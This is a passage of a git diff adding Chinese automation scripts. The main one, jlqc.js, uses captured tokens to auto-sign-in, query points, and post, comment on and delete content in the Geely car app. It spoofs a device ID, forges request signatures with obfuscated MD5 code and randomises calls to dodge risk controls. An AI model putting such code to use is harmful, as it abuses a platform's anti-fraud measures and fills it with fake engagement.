url[6] + userTaskLogId[j] + // console.log(urlTask) + try{ + // resp = HTTP.fetch(urlTask, { + // method: "get", + // headers: headers, + // }); + resp = HTTP.get(urlTask, {headers: headers,}); + // console.log(resp.text()) + sleep(2000) + }catch{ + console.log("🍳 忽略任务:" + userTaskLogId[j]) + } + } + }else{ + console.log("🍳 没有可领取的奖励") + } + + // 喂饲料 + let amount = 10; // 记录剩余数目 + let amoutCount = 0; // 已喂饲料次数 + let flagAmount = 0; // 标志,1为饲料 + let countSeedId = 0; // 计算是不是每次浇花的剩余水量都一样,如果三次都一样,则认为seedid过期 + let lastamount = 0; // 记录上一次剩余水量 + while(amount >= 10){ + // resp = HTTP.fetch(url[3], { + // method: "get", + // headers: headers, + // }); + resp = HTTP.get(url[3], {headers: headers,}); + + if (resp.status == 200) { + resp = resp.json(); + // console.log(resp); + code = resp["code"]; + msg = resp["msg"]; + if(code == 0){ + amount = resp["data"]["props"]["amount"]; + + // 用于判断seedId是否过期,也即浇水是否失败 + if(lastamount == amount){ // 和上次剩余水量一样,可能没浇水成功 + countSeedId += 1; // 记录相同次数 + }else{ + countSeedId = 0; // 水量不同,浇水成功,置零 + } + lastamount = amount; // 记录水量,以便下一次循环使用 + if(countSeedId >=3){ // 浇了三次剩余水量都相同,则认为浇水失败,不再浇水,并提醒用户更换新的seedId值 + msg = "[❗❗❗提醒]seedId值可能过期,请抓包获取最新的值" + messageFail += "[❗❗❗提醒]seedId值可能过期,请抓包获取最新的值" + console.log("🍳 提前退出浇水,错误消息为:" + msg) + amoutCount -= 3; // 减去浇水失败的次数 + break; + } + + flagAmount = 1; + amoutCount += 1; + console.log("🍳 喂饲料中... ,剩余饲料:" + amount) + }else{ + console.log(resp); + console.log("🍳 提前退出喂饲料,错误消息为:" + msg) + amount = 0; // 直接置水为0 退出投喂 + } + } else { + console.log(resp.text()); + console.log("🍳 提前退出喂饲料") + amount = 0; // 直接置水为0 退出投喂 + } + + sleep(3000) + } + + if(flagAmount == 1){ + content = "🎉 " + "成功喂饲料" + amoutCount + "次\n" + messageSuccess += content + console.log(content); + }else{ + // messageFail += "喂饲料日志:" + msg + " "; // 此错误消息无需推送 + console.log("📢 " + "喂饲料日志:" + msg + " "); + } + + + } catch { + messageFail += "❌ " + messageName + "失败\n"; + } + + sleep(2000); + if (messageOnlyError == 1) { + messageArray[posLabel] = messageFail; + } else { + if(messageFail != ""){ + messageArray[posLabel] = messageFail + " " + messageSuccess; + }else{ + messageArray[posLabel] = messageSuccess; + } + } + + if(messageArray[posLabel] != "") + { + console.log(messageArray[posLabel]); + } +} diff --git a/脚本库/web版/账密/吉利汽车/2026-04-01_jlqc_0104d80b.js b/脚本库/web版/账密/吉利汽车/2026-04-01_jlqc_0104d80b.js new file mode 100644 index 0000000..5ada602 --- /dev/null +++ b/脚本库/web版/账密/吉利汽车/2026-04-01_jlqc_0104d80b.js @@ -0,0 +1,964 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/jlqc.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/jlqc.js +// # Repo: smallfawn/QLScriptPublic +// # Path: jlqc.js +// # UploadedAt: 2026-04-01T11:27:33Z +// # SHA256: 0104d80b003d72d7b006ec58629a99bb10379989119b04fcc2ef59478168168b +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/** + * new Env("吉利汽车"); + * cron 15 8 * * * jlqc.js + * 22/11/23 积分查询 每日分享 + * 22/11/24 文章 评论 签到 + * 22/11/25 修复长图文 删除评论 + * 23/01/21 增加评论 目前一天17分左右 + * 23/02/11 减少风控 随机API + * 23/03/03 修复 + * 23/05/25 修复签到 + * ========= 青龙--配置文件 =========== + * # 吉利汽车 + * export jlqc_data='token' + * + * 多账号用 换行 或 @ 分割 + * 抓包 app.geely.com , 找到 token 的值 , + * ==================================== + * 交流 BUG反馈 投稿 群: 862839604 + */ + + + +const $ = new Env("吉利汽车"); +const ckName = "jlqc_data"; +//-------------------- 一般不动变量区域 ------------------------------------- +const notify = $.isNode() ? require("./sendNotify") : ""; +const Notify = 1; //0为关闭通知,1为打开通知,默认为1 +let envSplitor = ["@", "\n"]; //多账号分隔符 +let msg = ''; //let ck,msg +let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || ''; +let userList = []; +let userIdx = 0; +let userCount = 0; +//---------------------- 自定义变量区域 ----------------------------------- + +async function start() { + //await getNotice() + console.log('\n================== 积分查询 ==================\n'); + taskall = []; + for (let user of userList) { + console.log(`随机延迟${user.getRandomTime()}ms`); + taskall.push(await user.info_point()); + await $.wait(user.getRandomTime()); + } + await Promise.all(taskall); + console.log('\n================== 每日签到 ==================\n'); + taskall = []; + for (let user of userList) { + if (user.ckstatus) { + console.log(`随机延迟${user.getRandomTime()}ms`); + taskall.push(await user.task_sign()); + await $.wait(user.getRandomTime()); + } + + } + await Promise.all(taskall); + /*console.log('\n================== 每日分享 ==================\n'); + taskall = []; + for (let user of userList) { + if (user.ckstatus) { + for (let i = 0; i < 3; i++) { + taskall.push(await user.task_share()); + await $.wait(5000); + } + } + } + await Promise.all(taskall);*/ + /*console.log('\n================== 发布文章 ==================\n'); + taskall = []; + for (let user of userList) { + if (user.ckstatus) { + console.log(`随机延迟${user.getRandomTime()}ms`); + taskall.push(await user.task_create1()); + await $.wait(user.getRandomTime()); + } + } + await Promise.all(taskall);*/ + /*console.log('\n================== 发布图文 ==================\n'); + taskall = []; + for (let user of userList) { + if (user.ckstatus) { + taskall.push(await user.task_create2()); + await $.wait(10000); + } + } + await Promise.all(taskall);*/ + /*console.log('\n================== 评论文章 ==================\n'); + taskall = []; + for (let user of userList) { + if (user.ckstatus) { + taskall.push(await user.task_artlist()); + } + } + await Promise.all(taskall);*/ +} + + +class UserInfo { + constructor(str) { + this.index = ++userIdx; + //this.ck1 = str.split('&')[0]; + this.ck = str.split('&')[0]; + this.host = "app.geely.com"; + this.hostname = "https://" + this.host; + this.ckstatus = true + this.headersGet = { + //txcookie: this.ck1, + devicesn: '356617505697247', + Host: 'app.geely.com', + platform: 'Android', + token: this.ck, + 'user-agent': 'okhttp/4.5.0' + } + this.headersPostv1 = { + // txcookie: this.ck1, + devicesn: '356617505697247', + Host: 'app.geely.com', + platform: 'Android', + token: this.ck, + 'Content-Type': 'application/json; charset=utf-8', + 'user-agent': 'okhttp/4.5.0' + } + this.headersPostv2 = { + // txcookie: this.ck1, + devicesn: '356617505697247', + Host: 'app.geely.com', + platform: 'Android', + token: this.ck, + 'Content-Type': 'application/json; charset=utf-8', + 'user-agent': 'okhttp/4.3.1', + appversion: '3.32' + } + //this.randomInt = randomInt(0, 6); + //this.commentTxtArr = ["真不错啊", "很棒啊", "好可爱啊", "真厉害呀", "我超级想要", "怎么办呐", "哇咔咔"] + //this.createTxtArr = ["最近有点冷", "今天是周几啊", "今天真暖和啊", "今天有点凉", "大家穿棉服了吗", "晚上吃点啥好呢", "大家那边下雪了吗", "早上吃点啥?"] + //this.commentTxt = this.commentTxtArr[this.randomInt] + //this.createTxt = this.createTxtArr[this.randomInt] + this.imgurl = "https://geely-app-prod.oss-cn-hangzhou.aliyuncs.com/app/life/IMAGE/20221124/4109897683160859157/07779ca2e7694e3fbde886aa33fa4825.jpeg" + } + + getRandomTime() { + return randomInt(3000, 9000) + } + + async info_point() { // 积分查询 + try { + const options = { + url: 'https://app.geely.com/api/v1/point/available', + headers: this.headersGet + }; + //console.log(options); + let result = await httpRequest(options); + //console.log(result); + if (result.code == "success") { + this.ckstatus = true + DoubleLog(`账号[${this.index}] 积分: ${result.data.availablePoint}`); + } else { + this.ckstatus = false + DoubleLog(`账号[${this.index}] 积分查询:失败 ❌ 了呢,原因未知!`); + console.log(result); + } + } catch (error) { + console.log(error); + } + } + + async task_share() { // 执行分享 + try { + const options = { + url: 'https://app.geely.com/api/v1/share/awardPoint', + headers: this.headersPostv1, + body: ``, + }; + //console.log(options); + let result = await httpRequest(options); + //console.log(result); + if (result.code == "success") { + DoubleLog(`账号[${this.index}] 分享: ${result.code}`); + } else { + DoubleLog(`账号[${this.index}] 分享:失败 ❌ 了呢,原因未知!`); + console.log(result); + } + } catch (error) { + console.log(error); + } + } + + async task_sign() { // 执行签到 + var date = new Date(+new Date() + 8 * 3600 * 1000).toISOString().replace(/T/g, ' ').replace(/\.[\d]{3}Z/, '') + let body = { "signDate": date, "ts": Number(ts10()), "cId": "BLqo2nmmoPgGuJtFDWlUjRI2b1b" } + try { + let options = { + url: 'https://app.geely.com/api/v1/userSign/sign/', + headers: { + 'Host': 'app.geely.com', + 'x-data-sign': enen(body), + 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/81.0.4044.138 Mobile Safari/537.36/geelyApp/android/geelyApp', + 'token': this.ck, + 'Content-Type': 'application/json', + 'origin': 'https://app.geely.com', + 'x-requested-with': 'com.geely.consumer', + 'sec-fetch-site': 'same-origin', + 'sec-fetch-mode': 'cors', + 'sec-fetch-dest': 'empty', + 'referer': 'https://app.geely.com/app-h5/sign-in/?showTitleBar=0&needLogin=1' + }, + body: JSON.stringify(body), + }; + //console.log(options); + let result = await httpRequest(options); + //console.log(result); + if (result.code == "success") { + DoubleLog(`账号[${this.index}] 签到: ${result.code}`); + } else { + DoubleLog(`账号[${this.index}] 签到:失败 ❌ 了呢,原因未知!` + result.message); + //console.log(result); + } + } catch (error) { + console.log(error); + } + } + + async task_create1() { // 发布动态 + let createTxt = await this.hitokoto() + try { + let options = { + url: 'https://app.geely.com/api/v2/topicContent/create', + headers: this.headersPostv2, + body: JSON.stringify({ circleId: null, contentType: 1, content: createTxt, fileList: null, longTitle: createTxt, topicList: [] }), + }; + //console.log(options); + let result = await httpRequest(options, 'post'); + //console.log(result); + if (result.code == "success") { + DoubleLog(`账号[${this.index}] 发布动态: ${result.code} [${result.data}]`); + let artId = result.data; + //console.log("---------------- 开始评论动态 ----------------"); + //await wait(5); + //for (let i = 0; i < 3; i++) { + //await this.task_comment(artId); + //await wait(10); + //} + await $.wait(this.getRandomTime()); + console.log(`随机延迟${this.getRandomTime()}ms`); + DoubleLog("================== 开始删除动态 =================="); + await this.task_delat(artId); + } else { + DoubleLog(`账号[${this.index}] 发布动态:失败 ❌ 了呢,原因未知!`); + console.log(result); + } + } catch (error) { + console.log(error); + } + } + + async task_create2() { // 发布长图文 + let createTxt = await this.hitokoto() + try { + let options = { + url: this.hostname + '/api/v2/topicContent/create', + headers: this.headersPostv2, + body: JSON.stringify({ longImgUrl: this.imgurl, circleId: null, contentType: 2, content: createTxt, fileList: null, longTitle: createTxt, topicList: [] }), + }; + //console.log(options); + let result = await httpRequest(options); + //console.log(result); + if (result.code == "success") { + DoubleLog(`账号[${this.index}] 发布长图文: ${result.code} [${result.data}]`); + let artId = result.data; + await $.wait(15000); + DoubleLog("================ 开始删除发布长图文 ================"); + await this.task_delat(artId); + } else { + DoubleLog(`账号[${this.index}] 发布长图文:失败 ❌ 了呢,原因未知!`); + console.log(result); + } + } catch (error) { + console.log(error); + } + } + + async task_comment(artid) { // 执行评论 + try { + let comment = await this.hitokoto(), + ts = ts10() + let body = { 'content': comment, 'parentId': '', 'type': '2', 'id': artid, 'ts': ts, 'cId': 'BLqo2nmmoPgGuJtFDWlUjRI2b1b' } + let options = { + url: 'https://app.geely.com/apis/api/v2/comment/publisherComment', + headers: { + Host: 'app.geely.com', + 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/81.0.4044.138 Mobile Safari/537.36/android/geelyApp', + 'x-data-sign': en(body), + 'Content-Type': 'application/json; charset=utf-8', + 'devicesn': '356617505697247', + 'accept': 'application/json, text/plain, */*', + txcookie: this.ck1, + 'platform': 'Android', + 'token': this.ck2, + 'origin': 'https://app.geely.com', + 'x-requested-with': 'com.geely.consumer', + 'sec-fetch-site': 'same-origin', + 'sec-fetch-mode': 'cors', + 'sec-fetch-dest': 'empty', + referer: 'https://app.geely.com/app-share/we/dynamic/detail?id=1615575296902418432', + //cookie: 'sensorsdata2015jssdkcross={"distinct_id":"185c90a49e018f-0652bc15a1bf3ec-a42722a-326190-185c90a49e10","first_id":"","props":{"$latest_traffic_source_type":"直接流量","$latest_search_keyword":"未取到值_直接打开","$latest_referrer":""},"identities":"eyIkaWRlbnRpdHlfY29va2llX2lkIjoiMTg1YzkwYTQ5ZTAxOGYtMDY1MmJjMTVhMWJmM2VjLWE0MjcyMmEtMzI2MTkwLTE4NWM5MGE0OWUxMCJ9","history_login_id":{"name":"","value":""},"$device_id":"185c90a49e018f-0652bc15a1bf3ec-a42722a-326190-185c90a49e10"}' + }, + body: JSON.stringify({ content: comment, parentId: '', type: '2', id: artid, ts: ts, cId: 'BLqo2nmmoPgGuJtFDWlUjRI2b1b' }), + }; + //console.log(options); + let result = await httpRequest(options); + //console.log(result); + if (result.code == "success") { + DoubleLog(`账号[${this.index}] 评论文章:` + artid + `:${result.code}`); + } else { + DoubleLog(`账号[${this.index}] 评论:失败 ❌ 了呢,原因未知!`); + console.log(result); + } + } catch (error) { + console.log(error); + } + } + + async task_delat(artid) { // 执行删除 + try { + let options = { + url: this.hostname + '/api/v2/topicContent/deleteContent', + headers: this.headersPostv2, + body: JSON.stringify({ id: artid }), + }; + //console.log(options); + let result = await httpRequest(options); + //console.log(result); + if (result.code == "success") { + DoubleLog(`账号[${this.index}] 删除文章:` + artid + `:${result.code}`); + } else { + DoubleLog(`账号[${this.index}] 删除:失败 ❌ 了呢,原因未知!`); + console.log(result); + } + } catch (error) { + console.log(error); + } + } + + + + + async task_artlist(name) { // 圈子动态列表 + try { + let options = { + method: 'POST', + url: this.hostname + '/api/v1/community/topicContent/queryPage', + headers: this.headersPostv1, + body: { pageSize: 10, pageNum: 1, auditStatus: 3 }, + json: true + }; + + options = changeCode(options) + //console.log(options); + //console.log(options); + let result = await httpRequest(options, name); + //console.log(result); + if (result.code == "success") { + DoubleLog(`账号[${this.index}] 文章列表: ${result.data.list[1].id}`); + DoubleLog(`账号[${this.index}] 文章列表: ${result.data.list[2].id}`); + DoubleLog(`账号[${this.index}] 文章列表: ${result.data.list[3].id}`); + let artid1 = result.data.list[1].id + await this.task_comment(artid1); + await $.wait(20000) + let artid2 = result.data.list[2].id + await this.task_comment(artid2); + await $.wait(20000) + let artid3 = result.data.list[3].id + await this.task_comment(artid3); + + } else { + DoubleLog(`账号[${this.index}] 获取:失败 ❌ 了呢,原因未知!`); + console.log(result); + } + } catch (error) { + console.log(error); + } + } + async hitokoto() { // 随机一言 + try { + let options = { + url: 'https://v1.hitokoto.cn/', + headers: {} + }; + //console.log(options); + let result = await httpRequest(options); + //console.log(result); + return result.hitokoto + } catch (error) { + console.log(error); + } + } + getSign(comtent, id, ts) { + return jlqc_getSign(comtent, id, ts) + } +} + + +!(async () => { + if (!(await checkEnv())) return; + if (userList.length > 0) { + await start(); + } + await SendMsg(msg); +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + + +// #region ******************************************************** 固定代码 ******************************************************** + +// 变量检查与处理 +async function checkEnv() { + if (userCookie) { + // console.log(userCookie); + let e = envSplitor[0]; + for (let o of envSplitor) + if (userCookie.indexOf(o) > -1) { + e = o; + break; + } + for (let n of userCookie.split(e)) n && userList.push(new UserInfo(n)); + userCount = userList.length; + } else { + console.log("未找到CK"); + return; + } + return console.log(`共找到${userCount}个账号`), true;//true == !0 +} +// =========================================== 不懂不要动 ========================================================= +/** + * 获取远程通知 + */ +async function getNotice() { + try { + const urls = [ + "https://cdn.jsdelivr.net/gh/smallfawn/Note@main/Notice.json", + "https://ghproxy.com/https://raw.githubusercontent.com/smallfawn/Note/main/Notice.json", + "https://fastly.jsdelivr.net/gh/smallfawn/Note@main/Notice.json", + "https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json", + ]; + let notice = null; + for (const url of urls) { + const options = { url, headers: { "User-Agent": "" }, }; + const result = await httpRequest(options); + if (result && "notice" in result) { + notice = result.notice.replace(/\\n/g, "\n"); + break; + } + } + if (notice) { DoubleLog(notice); } + } catch (e) { + console.log(e); + } +} +function ts10() { + return Math.round(new Date().getTime() / 1000).toString(); +} +/** + * 随机整数生成 + */ +function randomInt(min, max) { + return Math.round(Math.random() * (max - min) + min); +} +function randomszdx(e) { + e = e || 32; + var t = "QWERTYUIOPASDFGHJKLZXCVBNM1234567890", + a = t.length, + n = ""; + + for (i = 0; i < e; i++) n += t.charAt(Math.floor(Math.random() * a)); + return n; +} +function changeCode(oldoptions) { + let newoptions = new Object(), + urlTypeArr = ['qs', 'params'], //urlTypeStr, + bodyTypeArr = ['body', 'data', 'form', 'formData']//bodyTypeStr + for (let e in urlTypeArr) { + //urlTypeStr = urlTypeArr[e] + urlTypeArr[e] in oldoptions ? newoptions.url = changeUrl(urlTypeArr[e]) : newoptions.url = oldoptions.url + } + //'qs' in oldoptions ? newoptions.url = changeUrl('qs') : ('params' in oldoptions ? newoptions.url = changeUrl('params') : newoptions.url = oldoptions.url) + 'content-type' in oldoptions.headers ? newoptions.headers = changeHeaders(oldoptions.headers) : newoptions.headers = oldoptions.headers + function changeUrl(type) { + url = oldoptions.url + '?' + for (let key in oldoptions[type]) { url += key + '=' + oldoptions[type][key] + '&' } + url = url.substring(0, url.length - 1) + return url + } + function changeHeaders(headers) { + let tmp = headers['content-type'] + delete headers['content-type'] + headers['Content-Type'] = tmp + return headers + } + //'body' in oldoptions ? ((Object.prototype.toString.call(oldoptions.body) === '[object Object]') ? newoptions.body = JSON.stringify(oldoptions.body) : newoptions.body = oldoptions.body) : '' + //'data' in oldoptions ? ((Object.prototype.toString.call(oldoptions.data) === '[object Object]') ? newoptions.body = JSON.stringify(oldoptions.data) : newoptions.body = oldoptions.data) : '' + //'form' in oldoptions ? ((Object.prototype.toString.call(oldoptions.form) === '[object Object]') ? newoptions.body = JSON.stringify(oldoptions.form) : newoptions.body = oldoptions.form) : '' + //'formData' in oldoptions ? ((Object.prototype.toString.call(oldoptions.formData) === '[object Object]') ? newoptions.body = JSON.stringify(oldoptions.formData) : newoptions.body = oldoptions.formData) : '' + for (let o in bodyTypeArr) { + //bodyTypeStr = bodyTypeArr[o] + if (bodyTypeArr[o] in oldoptions) { + (Object.prototype.toString.call(oldoptions[bodyTypeArr[o]]) === '[object Object]') ? newoptions.body = JSON.stringify(oldoptions[bodyTypeArr[o]]) : newoptions.body = oldoptions[bodyTypeArr[o]] + } + } + return newoptions +} +function httpRequest(options, method) { + //options = changeCode(options) + typeof (method) === 'undefined' ? ('body' in options ? method = 'post' : method = 'get') : method = method + return new Promise((resolve) => { + $[method](options, (err, resp, data) => { + try { + if (err) { + console.log(`${method}请求失败`); + //console.log(JSON.parse(err)); + $.logErr(err); + //throw new Error(err); + //console.log(err); + } else { + //httpResult = data; + //httpResponse = resp; + if (data) { + data = JSON.parse(data); + //console.log(data); + resolve(data) + } else { + console.log(`请求api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + //console.log(e, resp); + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +// 等待 X 秒 +function wait(n) { return new Promise(function (resolve) { setTimeout(resolve, n * 1000) }) } +// 双平台log输出 +function DoubleLog(data) { if ($.isNode()) { if (data) { console.log(`${data}`); msg += `\n ${data}` } } else { console.log(`${data}`); msg += `\n ${data}` } } +// 发送消息 +async function SendMsg(message) { if (!message) return; if (Notify > 0) { if ($.isNode()) { await notify.sendNotify($.name, message) } else { $.msg($.name, '', message) } } else { console.log(message) } } +// 完整 Env +function en(_0x5be860) { + i = function (_0x4573b0, _0x3a71a7) { + var _0xffa1b6 = function () { + var _0x3b6fb7, _0x299f58; + _0x3b6fb7 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + _0x299f58 = { + "rotl": function (_0x51088f, _0x3dbdf7) { + return _0x51088f << _0x3dbdf7 | _0x51088f >>> 32 - _0x3dbdf7; + }, + "endian": function (_0x50f9ee) { + if (_0x50f9ee.constructor == Number) { + return 16711935 & _0x299f58.rotl(_0x50f9ee, 8) | 4278255360 & _0x299f58.rotl(_0x50f9ee, 24); + } + for (var _0x534163 = 0; _0x534163 < _0x50f9ee.length; _0x534163++) _0x50f9ee[_0x534163] = _0x299f58.endian(_0x50f9ee[_0x534163]); + return _0x50f9ee; + }, + "bytesToWords": function (_0x2269b0) { + for (var _0xfbbb3b = [], _0x1e428f = 0, _0x81bd00 = 0; _0x1e428f < _0x2269b0.length; _0x1e428f++, _0x81bd00 += 8) _0xfbbb3b[_0x81bd00 >>> 5] |= _0x2269b0[_0x1e428f] << 24 - _0x81bd00 % 32; + return _0xfbbb3b; + } + }; + return _0x299f58; + }(), + _0x5a466e = { + "utf8": { + "stringToBytes": function (_0x2ebfbc) { + return _0x5a466e.bin.stringToBytes(unescape(encodeURIComponent(_0x2ebfbc))); + }, + "bytesToString": function (_0x4a59ba) { + return decodeURIComponent(escape(_0x5a466e.bin.bytesToString(_0x4a59ba))); + } + }, + "bin": { + "stringToBytes": function (_0x16f353) { + for (var _0x56e9bc = [], _0x3937e9 = 0; _0x3937e9 < _0x16f353.length; _0x3937e9++) _0x56e9bc.push(255 & _0x16f353.charCodeAt(_0x3937e9)); + return _0x56e9bc; + }, + "bytesToString": function (_0x452303) { + for (var _0xe423fc = [], _0x235ddb = 0; _0x235ddb < _0x452303.length; _0x235ddb++) _0xe423fc.push(String.fromCharCode(_0x452303[_0x235ddb])); + return _0xe423fc.join(""); + } + } + }; + t = _0x5a466e.utf8; + if (_0x4573b0.constructor == String) { + if (_0x3a71a7 && "binary" === _0x3a71a7.encoding) { + _0x4573b0 = r.stringToBytes(_0x4573b0); + } else { + _0x4573b0 = t.stringToBytes(_0x4573b0); + } + } else { + if (n(_0x4573b0)) { + _0x4573b0 = Array.prototype.slice.call(_0x4573b0, 0); + } else { + Array.isArray(_0x4573b0) || _0x4573b0.constructor === Uint8Array || (_0x4573b0 = _0x4573b0.toString()); + } + } + for (var _0x36c4c5 = _0xffa1b6.bytesToWords(_0x4573b0), _0x4f2782 = 8 * _0x4573b0.length, _0x9f0318 = 1732584193, _0x177e34 = -271733879, _0x54e849 = -1732584194, _0x241128 = 271733878, _0x1eaf55 = 0; _0x1eaf55 < _0x36c4c5.length; _0x1eaf55++) _0x36c4c5[_0x1eaf55] = 16711935 & (_0x36c4c5[_0x1eaf55] << 8 | _0x36c4c5[_0x1eaf55] >>> 24) | 4278255360 & (_0x36c4c5[_0x1eaf55] << 24 | _0x36c4c5[_0x1eaf55] >>> 8); + _0x36c4c5[_0x4f2782 >>> 5] |= 128 << _0x4f2782 % 32; + _0x36c4c5[14 + (_0x4f2782 + 64 >>> 9 << 4)] = _0x4f2782; + var _0x53179a = i._ff, + _0x32931e = i._gg, + _0x462ba4 = i._hh, + _0x48717b = i._ii; + for (_0x1eaf55 = 0; _0x1eaf55 < _0x36c4c5.length; _0x1eaf55 += 16) { + var _0x1eaed6 = _0x9f0318, + _0x63dbb1 = _0x177e34, + _0x19c243 = _0x54e849, + _0x35f0f8 = _0x241128; + _0x9f0318 = _0x53179a(_0x9f0318, _0x177e34, _0x54e849, _0x241128, _0x36c4c5[_0x1eaf55 + 0], 7, -680876936); + _0x241128 = _0x53179a(_0x241128, _0x9f0318, _0x177e34, _0x54e849, _0x36c4c5[_0x1eaf55 + 1], 12, -389564586); + _0x54e849 = _0x53179a(_0x54e849, _0x241128, _0x9f0318, _0x177e34, _0x36c4c5[_0x1eaf55 + 2], 17, 606105819); + _0x177e34 = _0x53179a(_0x177e34, _0x54e849, _0x241128, _0x9f0318, _0x36c4c5[_0x1eaf55 + 3], 22, -1044525330); + _0x9f0318 = _0x53179a(_0x9f0318, _0x177e34, _0x54e849, _0x241128, _0x36c4c5[_0x1eaf55 + 4], 7, -176418897); + _0x241128 = _0x53179a(_0x241128, _0x9f0318, _0x177e34, _0x54e849, _0x36c4c5[_0x1eaf55 + 5], 12, 1200080426); + _0x54e849 = _0x53179a(_0x54e849, _0x241128, _0x9f0318, _0x177e34, _0x36c4c5[_0x1eaf55 + 6], 17, -1473231341); + _0x177e34 = _0x53179a(_0x177e34, _0x54e849, _0x241128, _0x9f0318, _0x36c4c5[_0x1eaf55 + 7], 22, -45705983); + _0x9f0318 = _0x53179a(_0x9f0318, _0x177e34, _0x54e849, _0x241128, _0x36c4c5[_0x1eaf55 + 8], 7, 1770035416); + _0x241128 = _0x53179a(_0x241128, _0x9f0318, _0x177e34, _0x54e849, _0x36c4c5[_0x1eaf55 + 9], 12, -1958414417); + _0x54e849 = _0x53179a(_0x54e849, _0x241128, _0x9f0318, _0x177e34, _0x36c4c5[_0x1eaf55 + 10], 17, -42063); + _0x177e34 = _0x53179a(_0x177e34, _0x54e849, _0x241128, _0x9f0318, _0x36c4c5[_0x1eaf55 + 11], 22, -1990404162); + _0x9f0318 = _0x53179a(_0x9f0318, _0x177e34, _0x54e849, _0x241128, _0x36c4c5[_0x1eaf55 + 12], 7, 1804603682); + _0x241128 = _0x53179a(_0x241128, _0x9f0318, _0x177e34, _0x54e849, _0x36c4c5[_0x1eaf55 + 13], 12, -40341101); + _0x54e849 = _0x53179a(_0x54e849, _0x241128, _0x9f0318, _0x177e34, _0x36c4c5[_0x1eaf55 + 14], 17, -1502002290); + _0x9f0318 = _0x32931e(_0x9f0318, _0x177e34 = _0x53179a(_0x177e34, _0x54e849, _0x241128, _0x9f0318, _0x36c4c5[_0x1eaf55 + 15], 22, 1236535329), _0x54e849, _0x241128, _0x36c4c5[_0x1eaf55 + 1], 5, -165796510); + _0x241128 = _0x32931e(_0x241128, _0x9f0318, _0x177e34, _0x54e849, _0x36c4c5[_0x1eaf55 + 6], 9, -1069501632); + _0x54e849 = _0x32931e(_0x54e849, _0x241128, _0x9f0318, _0x177e34, _0x36c4c5[_0x1eaf55 + 11], 14, 643717713); + _0x177e34 = _0x32931e(_0x177e34, _0x54e849, _0x241128, _0x9f0318, _0x36c4c5[_0x1eaf55 + 0], 20, -373897302); + _0x9f0318 = _0x32931e(_0x9f0318, _0x177e34, _0x54e849, _0x241128, _0x36c4c5[_0x1eaf55 + 5], 5, -701558691); + _0x241128 = _0x32931e(_0x241128, _0x9f0318, _0x177e34, _0x54e849, _0x36c4c5[_0x1eaf55 + 10], 9, 38016083); + _0x54e849 = _0x32931e(_0x54e849, _0x241128, _0x9f0318, _0x177e34, _0x36c4c5[_0x1eaf55 + 15], 14, -660478335); + _0x177e34 = _0x32931e(_0x177e34, _0x54e849, _0x241128, _0x9f0318, _0x36c4c5[_0x1eaf55 + 4], 20, -405537848); + _0x9f0318 = _0x32931e(_0x9f0318, _0x177e34, _0x54e849, _0x241128, _0x36c4c5[_0x1eaf55 + 9], 5, 568446438); + _0x241128 = _0x32931e(_0x241128, _0x9f0318, _0x177e34, _0x54e849, _0x36c4c5[_0x1eaf55 + 14], 9, -1019803690); + _0x54e849 = _0x32931e(_0x54e849, _0x241128, _0x9f0318, _0x177e34, _0x36c4c5[_0x1eaf55 + 3], 14, -187363961); + _0x177e34 = _0x32931e(_0x177e34, _0x54e849, _0x241128, _0x9f0318, _0x36c4c5[_0x1eaf55 + 8], 20, 1163531501); + _0x9f0318 = _0x32931e(_0x9f0318, _0x177e34, _0x54e849, _0x241128, _0x36c4c5[_0x1eaf55 + 13], 5, -1444681467); + _0x241128 = _0x32931e(_0x241128, _0x9f0318, _0x177e34, _0x54e849, _0x36c4c5[_0x1eaf55 + 2], 9, -51403784); + _0x54e849 = _0x32931e(_0x54e849, _0x241128, _0x9f0318, _0x177e34, _0x36c4c5[_0x1eaf55 + 7], 14, 1735328473); + _0x9f0318 = _0x462ba4(_0x9f0318, _0x177e34 = _0x32931e(_0x177e34, _0x54e849, _0x241128, _0x9f0318, _0x36c4c5[_0x1eaf55 + 12], 20, -1926607734), _0x54e849, _0x241128, _0x36c4c5[_0x1eaf55 + 5], 4, -378558); + _0x241128 = _0x462ba4(_0x241128, _0x9f0318, _0x177e34, _0x54e849, _0x36c4c5[_0x1eaf55 + 8], 11, -2022574463); + _0x54e849 = _0x462ba4(_0x54e849, _0x241128, _0x9f0318, _0x177e34, _0x36c4c5[_0x1eaf55 + 11], 16, 1839030562); + _0x177e34 = _0x462ba4(_0x177e34, _0x54e849, _0x241128, _0x9f0318, _0x36c4c5[_0x1eaf55 + 14], 23, -35309556); + _0x9f0318 = _0x462ba4(_0x9f0318, _0x177e34, _0x54e849, _0x241128, _0x36c4c5[_0x1eaf55 + 1], 4, -1530992060); + _0x241128 = _0x462ba4(_0x241128, _0x9f0318, _0x177e34, _0x54e849, _0x36c4c5[_0x1eaf55 + 4], 11, 1272893353); + _0x54e849 = _0x462ba4(_0x54e849, _0x241128, _0x9f0318, _0x177e34, _0x36c4c5[_0x1eaf55 + 7], 16, -155497632); + _0x177e34 = _0x462ba4(_0x177e34, _0x54e849, _0x241128, _0x9f0318, _0x36c4c5[_0x1eaf55 + 10], 23, -1094730640); + _0x9f0318 = _0x462ba4(_0x9f0318, _0x177e34, _0x54e849, _0x241128, _0x36c4c5[_0x1eaf55 + 13], 4, 681279174); + _0x241128 = _0x462ba4(_0x241128, _0x9f0318, _0x177e34, _0x54e849, _0x36c4c5[_0x1eaf55 + 0], 11, -358537222); + _0x54e849 = _0x462ba4(_0x54e849, _0x241128, _0x9f0318, _0x177e34, _0x36c4c5[_0x1eaf55 + 3], 16, -722521979); + _0x177e34 = _0x462ba4(_0x177e34, _0x54e849, _0x241128, _0x9f0318, 